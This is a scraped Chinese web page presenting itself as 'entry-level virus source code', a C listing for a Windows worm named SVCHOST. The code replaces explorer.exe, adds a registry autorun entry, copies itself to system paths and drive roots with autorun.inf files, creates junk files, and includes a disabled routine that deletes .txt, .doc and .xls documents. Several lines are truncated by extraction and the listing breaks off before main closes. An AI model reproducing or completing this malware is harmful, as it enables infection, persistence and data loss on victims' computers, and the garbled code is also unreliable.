龙文区龙文中学:入门级的病毒源码[VC ]

来源:百度文库 编辑:九乡新闻网 时间:2024/04/28 05:35:11

入门级的病毒源码[VC++]


  1. /* 
  2.   SK-CHINA 
  3.   SVCHOST virus WRITE BY S.K 
  4.   Compiler: 
  5.   DEV-CPP 4.9.9.2 
  6. */  
  7.   
  8. /* SVCHOST.C   */  
  9. /* SVCHOST.EXE */  
  10. /* SVCHOST.COM */  
  11. #include /*标准输入输出*/   
  12. #include /*字符串操作*/   
  13. #include /*其它函数*/   
  14. #include /*进程控制*/  
  15. #include /*目录函数*/  
  16.   
  17. #define SVCHOST_NUM 6 /*关键位置病毒复制数量*/  
  18. #define RUBBISH_NUM 5 /*垃圾文件数量*/  
  19. #define REMOVE_NUM  5 /*删除文件数*/   
  20. /*====================================================================*/  
  21. /* 
  22.   文件AUTORUN.INF内容: 
  23.   1.自动运行SVCHOST.com 
  24.   2.覆盖默认打开命令,使用病毒体作为新的打开方式 
  25.   3.覆盖默认资源管理器命令,使病毒体作为新的命令方式 
  26. */   
  27. char *autorun={" [AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)\nshell\\open \\Command=\"SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)\nshell \\explore\\Command=\"SVCHOST.com /s\""};  
  28. /*=====================================================================*/  
  29. /* 
  30.   添加注册表项: 
  31.   1.自动运行生成病毒体C:\windows\wjview32.com 
  32. */  
  33. char *regadd={"REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C:\\\\windows\\\\wjview32.com /s\""};  
  34. /*=====================================================================*/  
  35. /* 
  36.   函数:复制文件 
  37.   复制源:infile 
  38.   目的地:outfile 
  39.   成功返回0,失败返回1 
  40. */   
  41. int copy(char *infile,char *outfile)  
  42. {  
  43.     FILE *input,*output;  
  44.     char temp;  
  45.     if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))  
  46.     {  
  47.       while(!feof(input))  
  48.       {  
  49.         fread(&temp,1,1,input);  
  50.         fwrite(&temp,1,1,output);  
  51.       }  
  52.       fclose(input);  
  53.       fclose(output);  
  54.       return 0;  
  55.     }  
  56.     else return 1;  
  57. }  
  58. /*=====================================================================*/  
  59. /* 
  60.   函数:通过explorer自动运行  
  61.   成功返回0,失败返回1,2 
  62. */   
  63. int autorun_explorer()  
  64. {  
  65.     FILE *input;  
  66.     if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)  
  67.     {  
  68.       fclose(input);  
  69.       remove("c:\\windows\\$temp$");  
  70.       remove("c:\\windows\\system32\\dllcache\\$temp$");  
  71.       return 1;  
  72.     }  
  73.     copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");  
  74.     rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");  
  75.     rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32\\dllcache\\$temp$");  
  76.     if(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0 && copy("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)  
  77.       return 0;  
  78.     else  
  79.       return 2;  
  80. }  
  81. /*=====================================================================*/  
  82. /* 
  83.   函数:添加注册表项  
  84.   成功返回0,失败返回1 
  85. */   
  86. int add_reg()  
  87. {  
  88.     FILE *output;  
  89.     if((output=fopen("$$$$$","w"))!=NULL)  
  90.     {  
  91.       fprintf(output,regadd);  
  92.       fclose(output);  
  93.       spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);  
  94.     }  
  95. }  
  96. /*=====================================================================*/  
  97. /* 
  98.   函数:复制病毒 + Autorun.inf自动运行  
  99. */   
  100. void copy_virus()  
  101. {  
  102.     int i,k;  
  103.     FILE *input,*output;  
  104.     char *files_svchost[SVCHOST_NUM]={"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\system32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};  
  105.     char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};  
  106.     for(i=0;i
  107.     {   
  108.       if((input=fopen(files_svchost[i],"rb"))!=NULL)  
  109.       {  
  110.         fclose(input);  
  111.         for(k=0;k
  112.         {  
  113.           copy(files_svchost[i],files_svchost[k]);  
  114.         }  
  115.         i=SVCHOST_NUM;  
  116.       }  
  117.     }  
  118.     for(i=0;i
  119.     {  
  120.       if((input=fopen(files_svchost[i],"rb"))!=NULL)  
  121.       {  
  122.         fclose(input);  
  123.         for(k=0;k<24;k++)  
  124.         {  
  125.           copy(files_svchost[i],temp[0]);  
  126.           if((output=fopen(temp[1],"w"))!=NULL)  
  127.           {  
  128.             fprintf(output,"%s",autorun);  
  129.             fclose(output);  
  130.           }  
  131.           temp[0][0]++;  
  132.           temp[1][0]++;  
  133.         }  
  134.         i=SVCHOST_NUM;  
  135.       }  
  136.     }  
  137. }  
  138. /*=====================================================================*/  
  139. /* 
  140.   函数:制造垃圾文件  
  141. */   
  142. void make_rubbish()  
  143. {  
  144.      int i;  
  145.      FILE *output;  
  146.      srand(0);  
  147.      for(i=0;i
  148.      {  
  149.        int n;  
  150.        char s[30];  
  151.        n=rand();  
  152.        sprintf(s,"C:\\DESTORY_感染_%d",n);  
  153.        if((output=fopen(s,"w"))!=NULL)  
  154.        {  
  155.          fprintf(output,"%ld%s",n*n,s);  
  156.          fclose(output);  
  157.        }  
  158.      }  
  159. }  
  160. /*=====================================================================*/  
  161. /* 
  162.   函数:删除文件 
  163. */   
  164. void remove_files()  
  165. {  
  166.     long done;  
  167.     int i;  
  168.     struct _finddata_t ffblk;  
  169.     char *remove_files[3]={"*.txt","*.doc","*.xls"};  
  170.     for(i=0;i<3;i++)  
  171.     {  
  172.       if(_findfirst(remove_files[i],&ffblk)==-1) continue;  
  173.       while(!done)  
  174.       {  
  175.         remove(ffblk.name);  
  176.         _findnext(done,&ffblk);  
  177.       }  
  178.       _findclose(done);  
  179.     }  
  180. }  
  181. /*=====================================================================*/  
  182. /* 
  183.   主程序 
  184.   使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行 
  185. */   
  186. int main(int argc,char **argv)  
  187. {  
  188.     int contral=0;  
  189.     if(argc>1)  
  190.       if(strcmp(argv[1],"/s")==0)  
  191.         goto next1;  
  192.     autorun_explorer();  
  193.     spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);  
  194.     next1:  
  195.     add_reg();  
  196.     copy_virus();  
  197.     make_rubbish();  
  198.     /* remove_files(); */  
  199.     spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);  
  200.     return 0;